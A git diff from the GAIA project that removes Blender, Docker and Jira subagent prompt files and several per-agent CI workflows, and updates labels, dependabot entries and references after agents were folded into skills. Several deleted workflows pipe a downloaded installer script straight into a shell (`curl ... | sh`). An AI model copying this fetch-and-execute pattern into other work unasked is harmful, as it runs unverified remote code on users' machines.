diff --git a/.claude/agents/blender-specialist.md b/.claude/agents/blender-specialist.md deleted file mode 100644 index 4adf5708f..000000000 --- a/.claude/agents/blender-specialist.md +++ /dev/null @@ -1,88 +0,0 @@ ---- -name: blender-specialist -description: GAIA Blender agent specialist. Use PROACTIVELY for Blender Python scripting, 3D scene automation, procedural modeling, or the Blender MCP server. -tools: Read, Write, Edit, Bash, Grep, Glob -model: opus ---- - -You work on the GAIA Blender agent and its MCP server. Blender integration runs Python inside Blender itself via an MCP client/server pair — the agent sends instructions, Blender executes `bpy` calls. - -## Output style - -Follow [`CLAUDE.md`](../../CLAUDE.md) → "How You Communicate". - -## When to use - -- Editing `hub/agents/blender/python/gaia_agent_blender/agent.py` or `agent_simple.py` -- Editing the MCP server/client pair (`src/gaia/mcp/blender_mcp_server.py`, `blender_mcp_client.py`) -- Adding procedural modeling, material, lighting, animation, or rendering tools -- Updating the workshop tutorial (`workshop/blender.ipynb`) -- Writing Blender-side Python that runs inside `bpy` - -## When NOT to use - -- General MCP server development → `mcp-developer` -- Non-Blender 3D (e.g. ONNX-based image gen) → `rag-specialist` or relevant specialist -- Stable Diffusion image generation → the `sd` tool mixin (`src/gaia/sd/mixin.py`) - -## Key files - -| File | Purpose | -|------|---------| -| `hub/agents/blender/python/gaia_agent_blender/agent.py` | Main `BlenderAgent` with full tool set | -| `hub/agents/blender/python/gaia_agent_blender/agent_simple.py` | Minimal variant for quickstart | -| `hub/agents/blender/python/gaia_agent_blender/app.py` | Standalone entry | -| `hub/agents/blender/python/gaia_agent_blender/core/` | Shared Blender operation helpers | -| `src/gaia/mcp/blender_mcp_server.py` | Runs inside Blender, exposes `bpy` over MCP | -| `src/gaia/mcp/blender_mcp_client.py` | Client side used by the agent | -| `workshop/blender.ipynb` | Tutorial notebook | -| `docs/guides/blender.mdx` | User guide | - -## Architecture - -``` -gaia blender ──► BlenderAgent (gaia_agent_blender/agent.py) ──► blender_mcp_client ──MCP──► Blender process running blender_mcp_server ──► bpy.ops.* -``` - -The MCP server is launched inside Blender (as an add-on or startup script). Your agent tools call the client, not `bpy` directly — this keeps the Python process that runs the LLM separate from Blender's embedded Python. - -## Canonical bpy patterns (run inside Blender) - -```python -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -import bpy - -def reset_scene(): - bpy.ops.object.select_all(action="SELECT") - bpy.ops.object.delete() - -def add_primitive(kind: str, location=(0, 0, 0)): - op = getattr(bpy.ops.mesh, f"primitive_{kind}_add") - op(location=location) - return bpy.context.active_object - -def add_sun(): - bpy.ops.object.light_add(type="SUN") - -def render_to(path: str): - bpy.context.scene.render.filepath = path - bpy.ops.render.render(write_still=True) -``` - -## CLI usage - -```bash -gaia blender # Interactive Blender agent -gaia mcp start # Bring up MCP bridge if not already running -``` - -See `src/gaia/cli.py` (search `blender_parser`) for the exact subparser arguments. - -## Common pitfalls - -- **Calling `bpy` from the agent process** — won't work; `bpy` only exists inside Blender. Go through `blender_mcp_client`. -- **Modal operators** — `bpy.ops` calls that expect user input (file dialog, viewport interaction) hang in headless mode. Use the data API (`bpy.data.*`) instead when possible. -- **State leakage between tools** — always reset scene or save state at the top of scene-generating tools. -- **Hardcoded render paths** — thread them through the agent's config, not inline constants. -- **Running against wrong Blender version** — the MCP server add-on is version-sensitive. Pin tested versions in docs. diff --git a/.claude/agents/cli-developer.md b/.claude/agents/cli-developer.md index 6f73bcc23..724bb3aa2 100644 --- a/.claude/agents/cli-developer.md +++ b/.claude/agents/cli-developer.md @@ -41,12 +41,7 @@ Follow [`CLAUDE.md`](../../CLAUDE.md) → "How You Communicate". | `gaia` / `gaia-cli` | `gaia.cli:main` | Main dispatcher | | `gaia-mcp` | `gaia.mcp.mcp_bridge:main` | Standalone MCP bridge | -**Hub-package binaries** (NOT core `setup.py` entries — they ship from their own hub wheels under `hub/agents//python/`): - -| Script | Entry | Hub package | -|--------|-------|-------------| -| `gaia-code` | `gaia_agent_code.cli:main` | `gaia-agent-code` (`hub/agents/code/python/`) | -| `gaia-emr` | `gaia_agent_emr.cli:main` | `gaia-agent-emr` (`hub/agents/emr/python/`) | +**Hub-package binaries** (NOT core `setup.py` entries — they ship from their own hub wheels under `hub/agents//python/`). None ship today: per-task agents were collapsed into skills, so a new capability is a `SKILL.md`, not a new binary. ## Current top-level subcommands diff --git a/.claude/agents/docker-specialist.md b/.claude/agents/docker-specialist.md deleted file mode 100644 index 11d627b72..000000000 --- a/.claude/agents/docker-specialist.md +++ /dev/null @@ -1,87 +0,0 @@ ---- -name: docker-specialist -description: Docker and containerization specialist for GAIA. Use PROACTIVELY for Dockerfiles, docker-compose, container orchestration, or the GAIA `DockerAgent`. -tools: Read, Write, Edit, Bash, Grep, Glob -model: opus ---- - -You work on Docker-related code in GAIA: both the `DockerAgent` (an agent that *manages* containers) and the project's own container images. - -## Output style - -Follow [`CLAUDE.md`](../../CLAUDE.md) → "How You Communicate". - -## When to use - -- Writing/editing Dockerfiles or `docker-compose*.yml` for GAIA components -- Editing `hub/agents/docker/python/gaia_agent_docker/` (the `DockerAgent`) -- Editing the Docker standalone app under `src/gaia/apps/docker/` -- Writing K8s manifests or cloud-run configs for GAIA -- AMD-hardware pass-through (NPU/GPU) in containers - -## When NOT to use - -- CI workflow authoring → `github-actions-specialist` -- Installer packaging (MSI/NSIS) → see `src/gaia/installer/` and `docs/plans/desktop-installer.mdx` -- General MCP integration → `mcp-developer` - -## Key files - -| File | Purpose | -|------|---------| -| `hub/agents/docker/python/gaia_agent_docker/agent.py` | `DockerAgent` — container management via natural language | -| `src/gaia/apps/docker/` | Docker standalone app (UI) | -| `docs/guides/docker.mdx` | User guide | -| `docs/plans/docker-containers.mdx` | Containerized deployment plan | - -## Dockerfile requirements - -Multi-stage builds, AMD copyright header (`2025-2026`) at the top, Python 3.10+ base. Beyond that, the GAIA-specific constraints are below — hardware pass-through and the model cache are what actually break. - -## AMD hardware pass-through - -```yaml -services: - gaia: - image: amd/gaia:latest - devices: - - /dev/dri:/dev/dri # iGPU / discrete GPU - - /dev/kfd:/dev/kfd # ROCm compute device (Linux) - group_add: - - render - environment: - LEMONADE_BASE_URL: http://lemonade:13305/api/v1 -``` - -**Windows NPU note:** Ryzen AI NPU is only exposed inside Windows 11 hosts; containers on Linux don't currently see the NPU. - -## Lemonade inside Docker - -Compose pattern where Lemonade serves models to GAIA: - -```yaml -services: - lemonade: - image: lemonade-sdk/server:latest - ports: ["13305:13305"] - volumes: ["model-cache:/root/.cache/lemonade"] - - gaia: - image: amd/gaia:latest - depends_on: [lemonade] - environment: - LEMONADE_BASE_URL: http://lemonade:13305/api/v1 - -volumes: - model-cache: {} -``` - -Persisting model cache is critical — without it, containers re-download GB of weights on every restart. - -## Common pitfalls - -- **Hardcoded `http://localhost:13305`** inside container code — always read `LEMONADE_BASE_URL` env var -- **No volume for model cache** — slow cold starts -- **Missing `group_add: render`** on Linux — GPU device exists but isn't accessible to non-root user -- **Baking secrets into layers** — pass at runtime via `--env-file` or compose `secrets:` -- **Large context transfers** — use `.dockerignore` to exclude `node_modules/`, `dist/`, model caches, and virtual envs diff --git a/.claude/agents/gaia-agent-builder.md b/.claude/agents/gaia-agent-builder.md index 77d818158..ff4797371 100644 --- a/.claude/agents/gaia-agent-builder.md +++ b/.claude/agents/gaia-agent-builder.md @@ -101,7 +101,7 @@ The registry discovers packaged agents by scanning the `gaia.agent` entry-point ### 4. CLI (optional) - [ ] Add a subparser in `src/gaia/cli.py` and document in `docs/reference/cli.mdx` — see `cli-developer` for the pattern -- [ ] Standalone binary? Declare `console_scripts` in the hub package's own `pyproject.toml` — NOT a core `setup.py` entry (e.g. `hub/agents/code/python/` declares `gaia-code = gaia_agent_code.cli:main`) +- [ ] Standalone binary? Declare `console_scripts` in the hub package's own `pyproject.toml` — NOT a core `setup.py` entry ### 5. Tests (required) - [ ] `hub/agents//python/tests/test__agent.py` — instantiation + tool registration + mocked-LLM response diff --git a/.claude/agents/jira-specialist.md b/.claude/agents/jira-specialist.md deleted file mode 100644 index b5c38d5c4..000000000 --- a/.claude/agents/jira-specialist.md +++ /dev/null @@ -1,91 +0,0 @@ ---- -name: jira-specialist -description: GAIA Jira integration specialist. Use PROACTIVELY for the JiraAgent, JQL generation from natural language, issue automation, sprint planning, or Atlassian MCP work. -tools: Read, Write, Edit, Bash, Grep, Glob -model: opus ---- - -You own the GAIA Jira integration: the `JiraAgent`, its JQL templates, the standalone Jira app, and Atlassian MCP servers. - -## Output style - -Follow [`CLAUDE.md`](../../CLAUDE.md) → "How You Communicate". - -## When to use - -- Editing `hub/agents/jira/python/gaia_agent_jira/agent.py` or `jql_templates.py` -- Editing the Jira standalone app under `src/gaia/apps/jira/` -- Adding JQL generation, field mapping, bulk-update, or sprint-planning tools -- Wiring or debugging Atlassian MCP servers -- Writing or updating `scripts/jira_smoke.py` - -## When NOT to use - -- GitHub issue/PR templating (separate system) → `github-issues-specialist` -- General MCP server development → `mcp-developer` -- UI-only Jira app changes → `frontend-developer` (call back here for JQL logic) - -## Key files - -| File | Purpose | -|------|---------| -| `hub/agents/jira/python/gaia_agent_jira/agent.py` | `JiraAgent` implementation | -| `hub/agents/jira/python/gaia_agent_jira/jql_templates.py` | JQL template library | -| `src/gaia/apps/jira/` | Standalone Jira app (webui + app.py) | -| `scripts/jira_smoke.py` | Jira agent smoke tests (manual, not pytest) | -| `docs/guides/jira.mdx` | User guide | - -## CLI - -```bash -gaia jira # Interactive mode -gaia jira --query "show my open bugs" # Single-shot NL query -``` - -See `jira_parser` in `src/gaia/cli.py` for the full flag list. - -## Natural-language → JQL - -The agent's value is converting plain English to JQL. Examples: - -| Natural language | Generated JQL | -|------------------|---------------| -| "my open bugs" | `assignee = currentUser() AND type = Bug AND statusCategory != Done` | -| "issues in this sprint" | `sprint in openSprints()` | -| "high priority for team alpha" | `priority in (High, Highest) AND "Team" = "alpha"` | - -Ground generated JQL against `jql_templates.py` rather than letting the LLM invent field names — Jira custom fields vary per tenant. - -## Auth & config - -Jira config is discovered from (in order): -1. Environment variables (`JIRA_URL`, `JIRA_EMAIL`, `JIRA_API_TOKEN`) -2. `.env` in project root -3. User config under `~/.gaia/` - -**Never commit credentials.** `.env` files must stay in `.gitignore`. - -## Test pattern - -```python -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -import pytest -from gaia_agent_jira.agent import JiraAgent - -def test_nl_to_jql(mock_lemonade_client): - agent = JiraAgent(debug=True) - # Mock the LLM response that the agent would parse into JQL - mock_lemonade_client.chat.return_value = "assignee = currentUser() AND type = Bug" - # ... assert tool output -``` - -Use `mock_lemonade_client` from `tests/conftest.py` for unit tests; hit a real Jira sandbox only in manual/integration runs. - -## Common pitfalls - -- **LLM inventing custom field names** — constrain with `jql_templates.py` and known-field lists -- **Leaking tokens in logs** — never log raw headers; use `log.debug("auth ok")` without the token -- **Rate limits** — Atlassian caps search; page and back off on HTTP 429 -- **Sprint-ID hardcoding** — prefer `openSprints()` / `currentSprint()` over integer IDs -- **Bulk operations without confirmation** — always show a dry-run summary before executing a mutation diff --git a/.claude/agents/prompt-engineer.md b/.claude/agents/prompt-engineer.md index c55c057db..c80912dee 100644 --- a/.claude/agents/prompt-engineer.md +++ b/.claude/agents/prompt-engineer.md @@ -19,7 +19,6 @@ say each point once. The prompt text itself is always shown in full. - Writing or refactoring `_get_system_prompt()` for a GAIA agent - Tightening `@tool` docstrings (these are the LLM's tool-use spec) -- Authoring routing instructions for `RoutingAgent` - Designing eval-judge prompts for `src/gaia/eval/` - Debugging underperforming agents via prompt-only changes @@ -37,7 +36,6 @@ say each point once. The prompt text itself is always shown in full. | Tool descriptions | `@tool` docstring inside `_register_tools` | | Prompt assembly | `_compose_system_prompt` / `_format_tools_for_prompt` in `src/gaia/agents/base/agent.py` | | Chat defaults | `src/gaia/chat/prompts.py` | -| Routing | `hub/agents/routing/python/gaia_agent_routing/agent.py` | Concrete agents live under `hub/agents//python/gaia_agent_/` — `src/gaia/agents/` is framework-only. diff --git a/.github/dependabot.yml b/.github/dependabot.yml index db266af48..97bb33334 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -81,40 +81,6 @@ updates: patterns: - "*" - # JavaScript - Jira Electron app (JAX) - - package-ecosystem: "npm" - directory: "/src/gaia/apps/jira/webui" - schedule: - interval: "weekly" - day: "monday" - labels: - - "dependencies" - - "javascript" - - "electron" - - "jira-app" - open-pull-requests-limit: 5 - groups: - jira-app-dependencies: - patterns: - - "*" - - # JavaScript - EMR Dashboard Electron wrapper - - package-ecosystem: "npm" - directory: "/hub/agents/emr/python/gaia_agent_emr/dashboard/electron" - schedule: - interval: "weekly" - day: "monday" - labels: - - "dependencies" - - "javascript" - - "electron" - - "emr-dashboard" - open-pull-requests-limit: 5 - groups: - emr-dashboard-dependencies: - patterns: - - "*" - # GitHub Actions dependencies - package-ecosystem: "github-actions" directory: "/" diff --git a/.github/labeler.yml b/.github/labeler.yml index 9e5088845..f163d5dc7 100644 --- a/.github/labeler.yml +++ b/.github/labeler.yml @@ -79,62 +79,14 @@ agent::email: - changed-files: - any-glob-to-any-file: ['hub/agents/email/python/**/*', 'hub/agents/email/npm/**/*', 'docs/guides/email.mdx'] -agent::analyst: - - changed-files: - - any-glob-to-any-file: ['hub/agents/analyst/python/**/*', 'docs/guides/analyze.mdx'] - -agent::blender: - - changed-files: - - any-glob-to-any-file: ['hub/agents/blender/python/**/*', 'docs/guides/blender.mdx'] - -agent::browser: - - changed-files: - - any-glob-to-any-file: ['hub/agents/browser/python/**/*', 'docs/guides/browse.mdx'] - -agent::code: - - changed-files: - - any-glob-to-any-file: ['hub/agents/code/python/**/*', 'docs/guides/code.mdx'] - agent::connectors-demo: - changed-files: - any-glob-to-any-file: ['hub/agents/connectors-demo/python/**/*'] -agent::docker: - - changed-files: - - any-glob-to-any-file: ['hub/agents/docker/python/**/*', 'docs/guides/docker.mdx'] - -agent::docqa: - - changed-files: - - any-glob-to-any-file: ['hub/agents/docqa/python/**/*'] - -agent::emr: - - changed-files: - - any-glob-to-any-file: ['hub/agents/emr/python/**/*', 'docs/guides/emr.mdx'] - -agent::fileio: - - changed-files: - - any-glob-to-any-file: ['hub/agents/fileio/python/**/*'] - -agent::jira: - - changed-files: - - any-glob-to-any-file: ['hub/agents/jira/python/**/*', 'src/gaia/apps/jira/**/*', 'docs/guides/jira.mdx'] - -agent::routing: - - changed-files: - - any-glob-to-any-file: ['hub/agents/routing/python/**/*', 'docs/guides/routing.mdx'] - -agent::sd: - - changed-files: - - any-glob-to-any-file: ['hub/agents/sd/python/**/*'] - -agent::summarize: - - changed-files: - - any-glob-to-any-file: ['hub/agents/summarize/python/**/*'] - -# Tutorial / reference example agents (hello-world, word-count, doc-search) +# Tutorial / reference example agents (hello-world, word-count) agent::examples: - changed-files: - - any-glob-to-any-file: ['hub/agents/hello-world/python/**/*', 'hub/agents/word-count/python/**/*', 'hub/agents/doc-search/python/**/*'] + - any-glob-to-any-file: ['hub/agents/hello-world/python/**/*', 'hub/agents/word-count/python/**/*'] # Evaluation framework changes eval: diff --git a/.github/workflows/claude.yml b/.github/workflows/claude.yml index d455708dc..341e57c3a 100644 --- a/.github/workflows/claude.yml +++ b/.github/workflows/claude.yml @@ -307,7 +307,7 @@ jobs: ## Review Checklist ### 1. Code Quality & Patterns - - **Architecture Consistency:** For new agents, compare with existing agents — in-core ones under `src/gaia/agents/` (chat, docqa, builder, routing) and most others under `hub/agents//python/gaia_agent_/agent.py` + - **Architecture Consistency:** For new agents, compare with existing agents — in-core ones under `src/gaia/agents/` (builder) and hub ones under `hub/agents//python/gaia_agent_/agent.py` (chat, email, gaia, connectors-demo, hello-world, word-count) - Does it extend `src/gaia/agents/base/agent.py` (`class Agent`)? - Does it register tools via `@tool` (see `src/gaia/agents/base/tools.py`)? - Does error handling use `src/gaia/agents/base/errors.py` formatters? @@ -923,9 +923,7 @@ jobs: - `question` — a usage question with no defect claimed. Apply AT MOST ONE component label, only if the issue clearly belongs to it: - `agent::email`, `agent::analyst`, `agent::fileio`, `agent::sd`, - `agent::docqa`, `agent::emr`, `agent::browser`, `agent::summarize`, - `agent::blender`, `agent::code`, `agent::connectors-demo`, + `agent::email`, `agent::connectors-demo`, `agent::examples`, `cli`, `agent-ui`, `rag`, `eval`, `tests`, `installer`, `connectors`, `mcp`, `llm`, `audio`, `electron`, `lemonade`, `performance`, `security`. diff --git a/.github/workflows/test_agent_mcp_server.yml b/.github/workflows/test_agent_mcp_server.yml index 190be9f06..c77446e78 100644 --- a/.github/workflows/test_agent_mcp_server.yml +++ b/.github/workflows/test_agent_mcp_server.yml @@ -100,8 +100,22 @@ jobs: - name: Run slow tests (with Docker operations) if: (success() || failure()) && steps.docker-check.outcome == 'success' + # bash on every OS: this step branches on pytest's exit code, and the + # Windows leg defaults to pwsh, where that syntax is not valid. + shell: bash run: | - python -m pytest tests/mcp/test_agent_mcp_server.py -v -m "slow and not integration" --tb=short + # pytest exits 5 when the marker selects nothing, which fails the job. + # No slow tests remain -- the Docker-backed suite went with DockerAgent + # -- so treat an empty selection as nothing to do. The step stays so a + # future slow test runs without anyone re-adding it, and any real + # failure still propagates. + rc=0 + python -m pytest tests/mcp/test_agent_mcp_server.py -v -m "slow and not integration" --tb=short || rc=$? + if [ "$rc" -eq 5 ]; then + echo "No slow tests are defined in this file; nothing to run." + exit 0 + fi + exit "$rc" # Integration tests require Lemonade server - skip for now # - name: Run integration tests (with LLM orchestration) diff --git a/.github/workflows/test_analyst_agent.yml b/.github/workflows/test_analyst_agent.yml deleted file mode 100644 index 8609b1286..000000000 --- a/.github/workflows/test_analyst_agent.yml +++ /dev/null @@ -1,63 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -# Tests the GAIA Analyst agent, which ships as the standalone gaia-agent-analyst -# wheel (#1102). - -name: Analyst Agent Tests - -on: - workflow_call: - push: - branches: [ main ] - paths: - - 'hub/agents/analyst/python/**' - - 'src/gaia/agents/base/**' - - 'src/gaia/agents/tools/**' - - 'setup.py' - - '.github/workflows/test_analyst_agent.yml' - pull_request: - branches: [ main ] - types: [opened, synchronize, reopened, ready_for_review] - paths: - - 'hub/agents/analyst/python/**' - - 'src/gaia/agents/base/**' - - 'src/gaia/agents/tools/**' - - 'setup.py' - - '.github/workflows/test_analyst_agent.yml' - merge_group: - workflow_dispatch: - -concurrency: - group: ${{ github.workflow }}-${{ github.head_ref || github.ref }} - cancel-in-progress: true - -permissions: - contents: read - -jobs: - test-analyst-agent: - name: Test Analyst Agent - runs-on: ubuntu-latest - if: github.event_name != 'pull_request' || github.event.pull_request.draft == false || contains(github.event.pull_request.labels.*.name, 'ready_for_ci') - - steps: - - uses: actions/checkout@v7 - - - name: Set up Python - uses: actions/setup-python@v7 - with: - python-version: '3.12' - - - name: Install uv - run: curl -LsSf https://astral.sh/uv/install.sh | sh - - - name: Install dependencies - run: | - uv pip install --system -e .[dev] - # AnalystAgent ships as the standalone gaia-agent-analyst wheel (#1102) - uv pip install --system -e hub/agents/analyst/python - - - name: Run Analyst Agent Tests - run: | - python -m pytest hub/agents/analyst/python/tests/ -v --tb=short diff --git a/.github/workflows/test_api.yml b/.github/workflows/test_api.yml index 56129d338..67754bd5d 100644 --- a/.github/workflows/test_api.yml +++ b/.github/workflows/test_api.yml @@ -16,8 +16,7 @@ on: - 'src/gaia/api/**' - 'src/gaia/agents/base/**' - 'src/gaia/llm/**' - - 'hub/agents/routing/python/**' - - 'hub/agents/code/python/**' + - 'hub/agents/email/python/**' - 'tests/test_api.py' - 'setup.py' - '.github/workflows/test_api.yml' @@ -30,8 +29,7 @@ on: - 'src/gaia/api/**' - 'src/gaia/agents/base/**' - 'src/gaia/llm/**' - - 'hub/agents/routing/python/**' - - 'hub/agents/code/python/**' + - 'hub/agents/email/python/**' - 'tests/test_api.py' - 'setup.py' - '.github/workflows/test_api.yml' @@ -69,13 +67,6 @@ jobs: shell: powershell run: | uv pip install pytest pytest-timeout requests --python .venv\Scripts\python.exe - # The 'gaia-code' API model routes through RoutingAgent, which now - # ships as the standalone gaia-agent-routing wheel (#1102). Install - # both local hub packages (routing first, since gaia-agent-code - # depends on it and it isn't on PyPI) so the gaia-code streaming - # tests exercise the real agent instead of the missing-wheel error. - uv pip install -e hub/agents/routing/python --python .venv\Scripts\python.exe - uv pip install -e hub/agents/code/python --python .venv\Scripts\python.exe # The email REST router only mounts when gaia-agent-email is # importable; without it every /v1/email test in tests/test_api.py # 404s (red on main since the email agent moved to a hub wheel). @@ -123,7 +114,6 @@ jobs: $apiJob = Start-Job -ScriptBlock { Set-Location $using:PWD & .\.venv\Scripts\Activate.ps1 - $env:AGENT_ROUTING_MODEL = "Qwen3-0.6B-GGUF" & gaia api start 2>&1 } Write-Host "Started API server job with ID: $($apiJob.Id)" diff --git a/.github/workflows/test_browser_agent.yml b/.github/workflows/test_browser_agent.yml deleted file mode 100644 index 9c531f60c..000000000 --- a/.github/workflows/test_browser_agent.yml +++ /dev/null @@ -1,63 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -# Tests the GAIA Browser agent, which ships as the standalone gaia-agent-browser -# wheel (#1102). - -name: Browser Agent Tests - -on: - workflow_call: - push: - branches: [ main ] - paths: - - 'hub/agents/browser/python/**' - - 'src/gaia/agents/base/**' - - 'src/gaia/agents/tools/**' - - 'setup.py' - - '.github/workflows/test_browser_agent.yml' - pull_request: - branches: [ main ] - types: [opened, synchronize, reopened, ready_for_review] - paths: - - 'hub/agents/browser/python/**' - - 'src/gaia/agents/base/**' - - 'src/gaia/agents/tools/**' - - 'setup.py' - - '.github/workflows/test_browser_agent.yml' - merge_group: - workflow_dispatch: - -concurrency: - group: ${{ github.workflow }}-${{ github.head_ref || github.ref }} - cancel-in-progress: true - -permissions: - contents: read - -jobs: - test-browser-agent: - name: Test Browser Agent - runs-on: ubuntu-latest - if: github.event_name != 'pull_request' || github.event.pull_request.draft == false || contains(github.event.pull_request.labels.*.name, 'ready_for_ci') - - steps: - - uses: actions/checkout@v7 - - - name: Set up Python - uses: actions/setup-python@v7 - with: - python-version: '3.12' - - - name: Install uv - run: curl -LsSf https://astral.sh/uv/install.sh | sh - - - name: Install dependencies - run: | - uv pip install --system -e .[dev] - # BrowserAgent ships as the standalone gaia-agent-browser wheel (#1102) - uv pip install --system -e hub/agents/browser/python - - - name: Run Browser Agent Tests - run: | - python -m pytest hub/agents/browser/python/tests/ -v --tb=short diff --git a/.github/workflows/test_code_agent.yml b/.github/workflows/test_code_agent.yml deleted file mode 100644 index 766db656e..000000000 --- a/.github/workflows/test_code_agent.yml +++ /dev/null @@ -1,166 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -# This workflow tests the GAIA Code Agent functionality -# Tests include: Code generation, parsing, linting, formatting, and integration tests - -name: Code Agent Tests - -on: - workflow_call: - push: - branches: [ main ] - paths: - - 'hub/agents/code/python/**' - - 'src/gaia/agents/base/**' - - 'hub/agents/routing/python/**' - - 'setup.py' - - '.github/workflows/test_code_agent.yml' - pull_request: - branches: [ main ] - types: [opened, synchronize, reopened, ready_for_review] - paths: - - 'hub/agents/code/python/**' - - 'src/gaia/agents/base/**' - - 'hub/agents/routing/python/**' - - 'setup.py' - - '.github/workflows/test_code_agent.yml' - merge_group: - workflow_dispatch: - -# Cancel in-progress runs when a new run is triggered -concurrency: - group: ${{ github.workflow }}-${{ github.head_ref || github.ref }} - cancel-in-progress: true - -permissions: - contents: read - -jobs: - test-code-agent: - name: Test Code Agent - runs-on: ubuntu-latest - if: github.event_name != 'pull_request' || github.event.pull_request.draft == false || contains(github.event.pull_request.labels.*.name, 'ready_for_ci') - - steps: - - uses: actions/checkout@v7 - - - name: Free disk space - uses: ./.github/actions/free-disk-space - - - name: Set up Python - uses: actions/setup-python@v7 - with: - python-version: '3.12' - - - name: Install uv - run: curl -LsSf https://astral.sh/uv/install.sh | sh - - - name: Install dependencies - run: | - uv pip install --system -e .[dev] - # gaia-agent-code depends on gaia-agent-routing, which isn't published - # to PyPI — install the local hub package first so the dependency - # resolves locally instead of hitting the registry (#1102). - uv pip install --system -e hub/agents/routing/python - # CodeAgent ships as the standalone gaia-agent-code wheel (#1397, #1102) - uv pip install --system -e hub/agents/code/python - # Install optional dependencies for code agent - uv pip install --system black pylint - - - name: Run Code Agent Mixin Architecture Tests - run: | - echo "================================================================" - echo " CODE AGENT MIXIN ARCHITECTURE TESTS" - echo "================================================================" - echo "Testing refactored mixin architecture and tool registration..." - echo "" - - # Run mixin tests - python -m pytest hub/agents/code/python/tests/test_code_agent_mixins.py -v --tb=short - - # Store the result - MIXIN_TEST_EXIT=$? - - if [ $MIXIN_TEST_EXIT -eq 0 ]; then - echo "[SUCCESS] All 38 mixin tests passed" - else - echo "[FAILURE] Mixin architecture tests failed" - exit 1 - fi - - - name: Run Code Agent Unit Tests - run: | - echo "" - echo "================================================================" - echo " CODE AGENT UNIT TESTS" - echo "================================================================" - echo "Testing core functionality: parsing, generation, tools..." - echo "" - - # Run with pytest for better output formatting - python -m pytest hub/agents/code/python/tests/test_code_agent.py::TestCodeAgent -v --tb=short \ - -k "not workflow and not integration and not process_query" - - # Validators and write-guardrail tests (moved here from tests/unit and - # tests/ root during the hub migration; keep them gated). - # test_tool_executor_confirmation.py pins the orchestrator to the - # user-confirmation gate; it is the regression guard for that bypass, - # so it has to run here or it guards nothing. Fast, no LLM needed. - python -m pytest \ - hub/agents/code/python/tests/test_code_validators.py \ - hub/agents/code/python/tests/test_file_io_guardrails.py \ - hub/agents/code/python/tests/test_tool_executor_confirmation.py \ - -v --tb=short - - - name: Run Code Agent Integration Tests - run: | - echo "" - echo "================================================================" - echo " CODE AGENT INTEGRATION TESTS" - echo "================================================================" - echo "Testing workflows and complex scenarios..." - echo "" - - # Run integration tests - python -m pytest hub/agents/code/python/tests/test_code_agent.py::TestCodeAgentIntegration -v --tb=short - - - name: Run Code Agent Workflow Tests - # Workflow tests invoke process_query which requires a running LLM. - # No Lemonade server in this CI job — failures are expected and surfaced - # as a warning annotation rather than blocking the job. - continue-on-error: true - run: | - echo "" - echo "================================================================" - echo " CODE AGENT WORKFLOW TESTS" - echo "================================================================" - echo "Testing complete code generation workflows..." - echo "" - - # Run workflow tests with timeout - timeout 300 python -m pytest hub/agents/code/python/tests/test_code_agent.py -v --tb=short \ - -k "workflow or process_query or complete_workflow" - - - name: Test Summary - if: always() - run: | - echo "" - echo "================================================================" - echo " CODE AGENT TEST SUMMARY" - echo "================================================================" - echo "Test Categories:" - echo " ✅ Mixin Architecture Tests: 38 tests validating refactored structure" - echo " ✅ Unit Tests: Tool functionality, parsing, generation" - echo " ✅ Integration Tests: Multi-step operations" - echo " ✅ Workflow Tests: Complete code generation pipelines" - echo "" - echo "Test Coverage:" - echo " - Mixin architecture and tool registration (NEW)" - echo " - Code parsing and validation" - echo " - Function/class/test generation" - echo " - File I/O operations" - echo " - Pylint and Black integration" - echo " - Error recovery mechanisms" - echo " - Complete workflow simulations" - echo "================================================================" \ No newline at end of file diff --git a/.github/workflows/test_docqa_agent.yml b/.github/workflows/test_docqa_agent.yml deleted file mode 100644 index 26dec9faf..000000000 --- a/.github/workflows/test_docqa_agent.yml +++ /dev/null @@ -1,65 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -# Tests the GAIA Document Q&A agent, which ships as the standalone gaia-agent-docqa -# wheel (#1102). - -name: DocQA Agent Tests - -on: - workflow_call: - push: - branches: [ main ] - paths: - - 'hub/agents/docqa/python/**' - - 'src/gaia/agents/base/**' - - 'src/gaia/agents/tools/**' - - 'src/gaia/rag/**' - - 'setup.py' - - '.github/workflows/test_docqa_agent.yml' - pull_request: - branches: [ main ] - types: [opened, synchronize, reopened, ready_for_review] - paths: - - 'hub/agents/docqa/python/**' - - 'src/gaia/agents/base/**' - - 'src/gaia/agents/tools/**' - - 'src/gaia/rag/**' - - 'setup.py' - - '.github/workflows/test_docqa_agent.yml' - merge_group: - workflow_dispatch: - -concurrency: - group: ${{ github.workflow }}-${{ github.head_ref || github.ref }} - cancel-in-progress: true - -permissions: - contents: read - -jobs: - test-docqa-agent: - name: Test DocQA Agent - runs-on: ubuntu-latest - if: github.event_name != 'pull_request' || github.event.pull_request.draft == false || contains(github.event.pull_request.labels.*.name, 'ready_for_ci') - - steps: - - uses: actions/checkout@v7 - - - name: Set up Python - uses: actions/setup-python@v7 - with: - python-version: '3.12' - - - name: Install uv - run: curl -LsSf https://astral.sh/uv/install.sh | sh - - - name: Install dependencies - run: | - uv pip install --system -e .[dev] - # DocumentQAAgent ships as the standalone gaia-agent-docqa wheel (#1102) - uv pip install --system -e hub/agents/docqa/python - - - name: Run DocQA Agent Tests - run: | - python -m pytest hub/agents/docqa/python/tests/ -v --tb=short diff --git a/.github/workflows/test_electron.yml b/.github/workflows/test_electron.yml index dd9ca09e4..a03da1639 100644 --- a/.github/workflows/test_electron.yml +++ b/.github/workflows/test_electron.yml @@ -11,7 +11,6 @@ on: - 'src/gaia/electron/**' - 'src/gaia/apps/*/webui/**' - 'src/gaia/apps/webui/**' - - 'hub/agents/emr/python/gaia_agent_emr/dashboard/electron/**' - 'tests/electron/**' - '.github/workflows/test_electron.yml' pull_request: @@ -21,7 +20,6 @@ on: - 'src/gaia/electron/**' - 'src/gaia/apps/*/webui/**' - 'src/gaia/apps/webui/**' - - 